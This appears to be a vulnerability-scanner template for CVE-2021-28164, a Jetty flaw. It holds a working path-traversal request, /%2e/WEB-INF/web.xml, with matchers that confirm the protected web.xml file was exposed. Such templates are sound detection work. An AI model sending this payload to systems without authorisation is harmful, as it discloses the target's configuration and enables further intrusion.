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id : CVE-2021-28164
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info :
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name : Jetty Authorization Before Parsing and Canonicalization
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author : noamrathaus
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severity : medium
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description : |
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The default compliance mode allows requests with URIs that contain %2e or %2e%2e segments to access protected resources within the WEB-INF directory. For example a request to /context/%2e/WEB-INF/web.xml can retrieve the web.xml file. This can reveal sensitive information regarding the implementation of a web application.
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reference : |
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-v7ff-8wcx-gmc5
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- https://github.com/vulhub/vulhub/tree/1239bca12c75630bb2033b728140ed5224dcc6d8/jetty
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tags : cve,cve2021,jetty
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requests :
- method : GET
path :
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- "{{BaseURL}}/%2e/WEB-INF/web.xml"
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matchers-condition : and
matchers :
- type : status
status :
- 200
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- type : word
words :
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- "</web-app>"
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- "java.sun.com"
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part : body
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condition : and
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- type : word
part : header
words :
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- "application/xml"
